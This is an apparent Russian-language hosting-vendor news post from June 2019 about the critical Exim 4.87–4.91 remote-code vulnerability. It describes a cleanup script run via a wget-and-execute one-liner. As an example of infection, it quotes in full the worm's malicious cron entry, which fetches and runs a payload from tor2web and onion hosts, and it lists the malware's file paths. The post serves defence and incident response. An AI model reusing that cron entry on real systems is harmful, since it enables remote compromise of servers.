RU|EN

Новости

11 июня
2019

Обновите почтовый сервер: в Exim обнаружена критическая уязвимость

Через анонсированную на днях уязвимость в почтовом сервере Exim злоумышленники заражают серверs вредоносными скриптами и нарушают работу сайтов и программного обеспечения. Проблема актуальна для версий Exim с 4.87 по 4.91 включительно. Подробности об уязвимости здесь: threatpost.ru opennet.ru

 

Для профилактики и лечения серверов, скомпрометированных через эту уязвимость, мы собрали уже протестированные способы диагностики и объединили в одно решение — универсальный скрипт, которым может воспользоваться любой желающий.

 

Как работает скрипт?

 

  1. Обновляет Exim (для серверов с ОС Centos 6 обновлённая версия ставится из тестового репозитория EPEL; в штатные репозитории этой системы новая версия ожидается 11-12.06.2019), переустанавливает curl

  2. Ищет признаки заражения* в директории /etc:

    1. Если есть признаки вредоносной активности, скрипт инициирует следующие операции:

      1. остановка cron

      2. остановка процесса, запущенного вирусным скриптом

      3. четырёхкратная остановка  процессов curl wget sh (запускаются вирусом по расписанию)

      4. очистка почтовой очереди от всех писем (заражённые письма нет возможности отличить от валидных, поэтому приходится удалять всю очередь)

      5. снятие ограничений на удаление файлов, где размещены фрагменты вредоносного скрипта: /etc/cron.daily/cronlog /etc/cron.d/root  /etc/cron.d/.cronbus /etc/cron.hourly/cronlog /etc/cron.monthly/cronlog /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root /etc/crontab /root/.cache/ /root/.cache/a /usr/local/bin/nptd /root/.cache/.kswapd /usr/bin/\[kthrotlds\] /root/.ssh/authorized_keys /.cache/* /.cache/.sysud /.cache/.a /.cache/.favicon.ico /.cache/.kswapd /.cache/.ntp

      6. удаление этих файлов

      7. удаление задания автозапуска в /etc/rc.local

      8. удаление ключей злоумышленников из разрешённых ключей ssh

      9. запуск cron

      10. перезагрузка сервера

    2. Если признаков вредоносной активности нет, скрипт завершает работу.

 

Пояснения

 

  • Вирус удаляет все задачи, прописанные в cron. Поэтому после перезагрузки сервера их необходимо перенастроить или восстановить из резервной копии.

  • Переустановка curl обязательна, так как заражаются его системные файлы.

  • Автоматическая перезагрузка сервера также обязательна — вирусный скрипт сохраняется в памяти сервера и самовоспроизводится каждые 30 секунд, даже если удалить заражённые файлы.

 

Важно!

 

Данное решение предлагается в качестве временной меры для профилактики и лечения последствий заражения через уязвимость почтового сервера Exim. Мы проверили его на ряде серверов, но нет гарантий, что вы столкнётесь с тем же вариантом заражения, что и мы — способов эксплуатации уязвимостей обычно несколько. Помимо этого, существуют риски несовместимости версий программного обеспечения или конфликта настроек. Скрипт не ищет и не устраняет спрятанные бэкдоры, которые могли оставить злоумышленники, получив root-доступ к серверу.  Лучшим способом лечения сервера после взлома остаётся перенос данных на новый сервер с уже обновлённым почтовым сервером.

 

С учётом перечисленных нюансов использование скрипта осуществляется на свой страх и риск. Перед запуском скрипта обязательно проверьте, что у вас на руках есть актуальная резервная копия данных сервера.

 

Как запустить скрипт?

 

Для запуска скрипта подключитесь к серверу по SSH под пользователем с правами root. Альтернативный способ запуска — с помощью Shell-клиент-а в панели управления ISPmanager — Инструменты.

 

Скопируйте в командную строку следующий текст одной строкой:

 

wget http://cure-exim.ispserver.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh

 

Дождитесь завершения работы скрипта и перезагрузки сервера. После этого проверьте работу сервера и сайтов/приложений, размещённых на нём, перенастройте или восстановите из бэкапа задачи в планировщике.

 

* Признаками заражения считаются подозрительные ссылки VPN-сервиса Tor (tor2web) в заданиях планировщика. Пример задания на загрузку и перезапуск вредоносного скрипта:

 

*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi;  (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp